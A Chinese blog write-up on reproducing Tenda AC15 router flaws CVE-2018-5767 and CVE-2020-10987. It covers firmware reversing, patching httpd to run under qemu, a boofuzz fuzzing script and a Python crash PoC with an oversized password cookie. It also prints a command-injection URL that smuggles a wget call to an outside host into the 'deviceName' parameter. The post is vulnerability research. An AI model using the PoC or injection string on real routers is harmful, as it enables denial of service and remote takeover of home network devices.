固件中的单个二进制模拟:Tenda AC15 路由器 CVE-2018-5767 / CVE-2020-10987 漏洞分析与复现

本文主要是介绍固件中的单个二进制模拟:Tenda AC15 路由器 CVE-2018-5767 / CVE-2020-10987 漏洞分析与复现,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

设备:Tenda AC15 路由器(可能包含其他系列路由器)

固件版本:<V15.03.05.18

测试固件:US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin

0x10 漏洞分析

0x11 httpd 逆向

使用 binwalk 解压固件,打开文件系统 bin/httpd,使用 IDA 分析

在这里插入图片描述
虽然该二进制已经 striped,没有符号表,但是仍然能够看到部分函数名,这些名称往往是外部库函数或者是开源代码。如上所示,从这些函数名称可以推断 httpd 使用了 GoAhead

在这里插入图片描述
从字符串信息可以进一步推断组件版本信息,2.1.8。找到类似版本 goahead 代码,笔者从 github 上找到了一个大版本接近的源码 2.5。由于 goahead 使用了大量回调,仅仅是从反编译的代码,很难看出处理数据的流程函数。所以,从源码中,简单分析一下处理数据的流程

websUrlHandlerDefine 负责注册各个具体的处理函数,将各个 handlers 放入一个数组中

在这里插入图片描述
经过层层回溯,找到最终调用各个处理函数的地方(websUrlHandlerRequest

在这里插入图片描述
也就是说,goahead 会根据不同的 url 来决定由哪个函数进行 http 报文的处理。

wp 是真正传入的待处理数据,是一个结构体,此结构体至关重要,IDA 只是会把结构体识别成数组,因此反编译代码中,往往找不到各个元素的定义。我们需要将相关结构体添加到 IDA

IDA中导入C语言声明的结构体

在 View–>Open Subviews–>Local Types 中可以看到本地已有的结构体,右击 insert.可以添加 C 语言声明的结构体

对于 AC15 httpd ,进一步分析 wp 入参的定义,添加以下两个结构体

struct ringq_t{unsigned char   *buf;               /* Holding buffer for data */unsigned char   *servp;             /* Pointer to start of data */unsigned char   *endp;              /* Pointer to end of data */unsigned char   *endbuf;            /* Pointer to end of buffer */int             buflen;             /* Length of ring queue */int             maxsize;            /* Maximum size */int             increment;          /* Growth increment */
}
struct websRec {ringq_t         header;             /* Header dynamic string */__time_t            since;              /* Parsed if-modified-since time */char*       cgiVars;            /* CGI standard variables */char*       cgiQuery;           /* CGI decoded query string */__time_t            timestamp;          /* Last transaction with browser */int             timeout;            /* Timeout handle */char            ipaddr[32];         /* Connecting ipaddress */char            type[64];           /* Mime type */char            *dir;               /* Directory containing the page */char            *path;              /* Path name without query */char            *url;               /* Full request url */char            *host;              /* Requested host */char            *lpath;             /* Cache local path name */char            *query;             /* Request query */char            *decodedQuery;      /* Decoded request query */char            *authType;          /* Authorization type (Basic/DAA) */char            *password;          /* Authorization password */char            *userName;          /* Authorization username */char            *cookie;            /* Cookie string */char            *userAgent;         /* User agent (browser) */char            *protocol;          /* Protocol (normally HTTP) */char            *protoVersion;      /* Protocol version */int             sid;                /* Socket id (handler) */int             listenSid;          /* Listen Socket id */int             port;               /* Request port number */int             state;              /* Current state */int             flags;              /* Current flags -- see above */int             code;               /* Request result code */int             clen;               /* Content length */int             wid;                /* Index into webs */char            *cgiStdin;          /* filename for CGI stdin */int             docfd;              /* Document file descriptor */int             numbytes;           /* Bytes to transfer to browser */int             written;            /* Bytes actually transferred */void            (*writeSocket)(struct websRec *wp);
}

0x12 CVE-2018-5767 栈溢出

sub_2D3F0 函数中,也发现类似的回调函数注册,只是这里,有一个不同寻常的函数 R7WebsSecurityHandler,应该是路由器开发人员自己实现的一个函数

在这里插入图片描述
找到此函数定义,并将入参 1 修改为结构体 websRec

在这里插入图片描述
sscanf 会从 cookie 字段读取 password 的值,复制到局部变量 v35 ,从而导致栈溢出。

0x13 CVE-2020-10987 远程命令执行

这个漏洞存在多个系列路由器中,包括但不限于以下型号腾达路由器,以及各个型号所有已发布的固件版本都受该漏洞影响,经过验证和分析,该安全问题影响腾达路由器的最新版本固件。

  • AC 6
  • AC 7
  • AC 8
  • AC 9
  • AC 11
  • AC 15

腾达(Tenda) AC 提供Web服务组件中的goform插件存在一个设计缺陷,权限验证不严格,可在未登陆验证的情况下发送特定的数据包成功利用此问题,触发任意命令执行,进而控制路由器设备,Web服务为root权限启动,获取到腾达路由器的最高权限。

这个漏洞在笔者下载的目标固件中,并不存在,所以没有进一步分析,其实漏洞也是比较简单的,命令执行的路径为

http://x.x.x.x/goform/setUsbUnload/?deviceName=;%20wget%20http://dnslog

结合目标目标二进制的反编译程序,就知道了,分析步骤还是类似的。

0x20 搭建目标进程仿真环境

0x21 绕过判断条件

解压固件,尝试运行 httpd,会卡在如下界面

┌──(lys㉿kali)-[~/…/IoT/firmware/_AC15.bin.extracted/squashfs-root]
└─$ qemu-arm -L ./ ./bin/httpd                                                       
init_core_dump 1784: rlim_cur = 0, rlim_max = -1
init_core_dump 1794: open core dump success
sh: 1: cannot create /proc/sys/kernel/core_pattern: Permission denied
init_core_dump 1803: rlim_cur = 5120, rlim_max = 5120Yes:****** WeLoveLinux****** Welcome to ...

分析 httpd 的反编译代码,在函数入口处发现调用了 check_network 外部函数,该函数如果返回值为 0,则一直处于睡眠状态

在这里插入图片描述
比较快捷的方式就是修改 httpd 对应的汇编代码,直接绕过该判断条件

在这里插入图片描述
一个很好用的在线汇编和反汇编器

在这里插入图片描述
此时再次运行,目标进程有了新的进展

┌──(lys㉿kali)-[~/…/IoT/firmware/_AC15.bin.extracted/squashfs-root]
└─$ qemu-arm -L ./ ./bin/httpd                                                                    1 ⚙
init_core_dump 1784: rlim_cur = 0, rlim_max = -1
init_core_dump 1794: open core dump success
sh: 1: cannot create /proc/sys/kernel/core_pattern: Permission denied
init_core_dump 1803: rlim_cur = 5120, rlim_max = 5120Yes:****** WeLoveLinux****** Welcome to ...
connect: No such file or directory
Connect to server failed.
connect cfm failed!

通过搜索关键字 connect cfm failed! 定位到相关代码,继续修改 httpd

在这里插入图片描述
再次运行 httpd,发现得到的 IP 地址明显有问题

在这里插入图片描述
这里是因为没有获取到网卡信息,导致得到了一个随机的 IP 地址,也就是说,虽然该进程跑起来了,但是我们没有办法通过宿主机的网卡连接到 httpd

0x22 修复网卡配置信息

回到 check_network 函数,这是一个外部函数,定义在 libcommon.so

在这里插入图片描述
继续分析

int getLanIfName()
{return get_eth_name(0);
}

又发现一个外部函数 get_eth_name,其定义在库 libChipApi.so

在这里插入图片描述
因此,路由器守护进程 httpd 想要获取的网卡名称是 “br0”。直接在宿主机上新建一个名为 “br0” 的网卡

sudo tunctl -t br0 -u lys          
sudo ifconfig br0 192.168.10.1/24 

此时运行 httpd,即可发现该进程已经成功获取网卡的 IP 地址

在这里插入图片描述

0x30 漏洞发现与验证

0x31 协议 fuzz

boofuzz 是一个专门针对协议进行 fuzz 的工具,功能十分强大,但是缺乏相关文档。入门请参考:IoT 设备网络协议模糊测试工具boofuzz实战。根据相关报文,定制脚本如下

from boofuzz import *IP = "192.168.0.5"
PORT = 80def check_response(target, fuzz_data_logger, session, *args, **kwargs):fuzz_data_logger.log_info("Checking test case response...")try:response = target.recv(512)except:fuzz_data_logger.log_fail("Unable to connect to target. Closing...")target.close()return#if empty responseif not response:fuzz_data_logger.log_fail("Empty response, target may be hung. Closing...")target.close()return#remove everything after null terminator, and convert to string#response = response[:response.index(0)].decode('utf-8')fuzz_data_logger.log_info("response check...\n" + response.decode())target.close()returndef main():'''options = {"start_commands": ["sudo chroot /home/lys/Documents/IoT/firmware/_AC15_V15.03.1.16.bin.extracted/squashfs-root ./httpd"],"stop_commands": ["echo stopping"],"proc_name": ["/usr/bin/qemu-arm-static ./httpd"]}procmon = ProcessMonitor("127.0.0.1", 26002)procmon.set_options(**options)'''session = Session(target=Target(connection=SocketConnection(IP, PORT, proto="tcp"),# monitors=[procmon]),post_test_case_callbacks=[check_response],)s_initialize(name="Request")with s_block("Request-Line"):# Line 1s_group("Method", ["GET"])s_delim(" ", fuzzable=False, name="space-1-1")s_string("/goform/123", fuzzable=False)    # fuzzable 1s_delim(" ", fuzzable=False, name="space-1-2")s_static("HTTP/1.1", name="HTTP_VERSION")s_static("\r\n", name="Request-Line-CRLF-1")# Line 2s_static("Host")s_delim(": ", fuzzable=False, name="space-2-1")s_string("192.168.0.5", fuzzable=False, name="IP address")s_static("\r\n", name="Request-Line-CRLF-2")# Line 3s_static("Connection")s_delim(": ", fuzzable=False, name="space-3-1")s_string("keep-alive", fuzzable=False, name="Connection state")s_static("\r\n", name="Request-Line-CRLF-3")# Line 4s_static("Cookie")s_delim(": ", fuzzable=False, name="space-4-1")s_string("bLanguage", fuzzable=False, name="key-bLanguage")s_delim("=", fuzzable=False)s_string("en", fuzzable=False, name="value-bLanguage")s_delim("; ", fuzzable=False)s_string("password", fuzzable=False, name="key-password")s_delim("=", fuzzable=False)s_string("ce24124987jfjekfjlasfdjmeiruw398r", fuzzable=True)    # fuzzable 2s_static("\r\n", name="Request-Line-CRLF-4")# overs_static("\r\n")s_static("\r\n")session.connect(s_get("Request"))session.fuzz()if __name__ == "__main__":main()

目标进程崩溃

在这里插入图片描述
boofuzz 日志中能够看到相应的 crash,说明该用例导致进程崩溃

在这里插入图片描述

0x32 POC

可以编写简单的脚本验证

import requestsip = 192.168.0.5
url = "http://%s/goform/execCommand"%  ip
cookie = {"Cookir":"password=" + "A"*501}
ret = requests.get(url=url,cookies=cookie)
print ret.text

下一步:漏洞利用,栈溢出的利用相对来说还是比较简单的…

0x40 总结

对于传统路由器,单个二进制依赖程度不高,往往能够独立运行,在这种情况下,我们是有可能直接使用 qemu 将一些核心业务拉起来。本文就是利用这种方法,搭建了漏洞复现环境。在分析漏洞时,结合代码类比技术,利用开源代码,对二进制进行修复,这样能够让我们更加清楚整个漏洞形成的原因。

但是,这种复现环境的缺陷也是致命的:没有将整个核心业务跑起来,不知道具体业务场景,也就无法更好的定制化 Fuzz。因此,这种方式更加适合漏洞复现,而不是漏洞发现,要想挖掘路由器的漏洞,最好的方式还是购买真实产品,或者进行系统级别的仿真。

这篇关于固件中的单个二进制模拟:Tenda AC15 路由器 CVE-2018-5767 / CVE-2020-10987 漏洞分析与复现的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/634313

相关文章

python使用Akshare与Streamlit实现股票估值分析教程(图文代码)

《python使用Akshare与Streamlit实现股票估值分析教程(图文代码)》入职测试中的一道题,要求:从Akshare下载某一个股票近十年的财务报表包括,资产负债表,利润表,现金流量表,保存... 目录一、前言二、核心知识点梳理1、Akshare数据获取2、Pandas数据处理3、Matplotl

python panda库从基础到高级操作分析

《pythonpanda库从基础到高级操作分析》本文介绍了Pandas库的核心功能,包括处理结构化数据的Series和DataFrame数据结构,数据读取、清洗、分组聚合、合并、时间序列分析及大数据... 目录1. Pandas 概述2. 基本操作:数据读取与查看3. 索引操作:精准定位数据4. Group

MySQL中EXISTS与IN用法使用与对比分析

《MySQL中EXISTS与IN用法使用与对比分析》在MySQL中,EXISTS和IN都用于子查询中根据另一个查询的结果来过滤主查询的记录,本文将基于工作原理、效率和应用场景进行全面对比... 目录一、基本用法详解1. IN 运算符2. EXISTS 运算符二、EXISTS 与 IN 的选择策略三、性能对比

MySQL 内存使用率常用分析语句

《MySQL内存使用率常用分析语句》用户整理了MySQL内存占用过高的分析方法,涵盖操作系统层确认及数据库层bufferpool、内存模块差值、线程状态、performance_schema性能数据... 目录一、 OS层二、 DB层1. 全局情况2. 内存占js用详情最近连续遇到mysql内存占用过高导致

python运用requests模拟浏览器发送请求过程

《python运用requests模拟浏览器发送请求过程》模拟浏览器请求可选用requests处理静态内容,selenium应对动态页面,playwright支持高级自动化,设置代理和超时参数,根据需... 目录使用requests库模拟浏览器请求使用selenium自动化浏览器操作使用playwright

深度解析Nginx日志分析与499状态码问题解决

《深度解析Nginx日志分析与499状态码问题解决》在Web服务器运维和性能优化过程中,Nginx日志是排查问题的重要依据,本文将围绕Nginx日志分析、499状态码的成因、排查方法及解决方案展开讨论... 目录前言1. Nginx日志基础1.1 Nginx日志存放位置1.2 Nginx日志格式2. 499

小白也能轻松上手! 路由器设置优化指南

《小白也能轻松上手!路由器设置优化指南》在日常生活中,我们常常会遇到WiFi网速慢的问题,这主要受到三个方面的影响,首要原因是WiFi产品的配置优化不合理,其次是硬件性能的不足,以及宽带线路本身的质... 在数字化时代,网络已成为生活必需品,追剧、游戏、办公、学习都离不开稳定高速的网络。但很多人面对新路由器

Olingo分析和实践之EDM 辅助序列化器详解(最佳实践)

《Olingo分析和实践之EDM辅助序列化器详解(最佳实践)》EDM辅助序列化器是ApacheOlingoOData框架中无需完整EDM模型的智能序列化工具,通过运行时类型推断实现灵活数据转换,适用... 目录概念与定义什么是 EDM 辅助序列化器?核心概念设计目标核心特点1. EDM 信息可选2. 智能类

Olingo分析和实践之OData框架核心组件初始化(关键步骤)

《Olingo分析和实践之OData框架核心组件初始化(关键步骤)》ODataSpringBootService通过初始化OData实例和服务元数据,构建框架核心能力与数据模型结构,实现序列化、URI... 目录概述第一步:OData实例创建1.1 OData.newInstance() 详细分析1.1.1

Olingo分析和实践之ODataImpl详细分析(重要方法详解)

《Olingo分析和实践之ODataImpl详细分析(重要方法详解)》ODataImpl.java是ApacheOlingoOData框架的核心工厂类,负责创建序列化器、反序列化器和处理器等组件,... 目录概述主要职责类结构与继承关系核心功能分析1. 序列化器管理2. 反序列化器管理3. 处理器管理重要方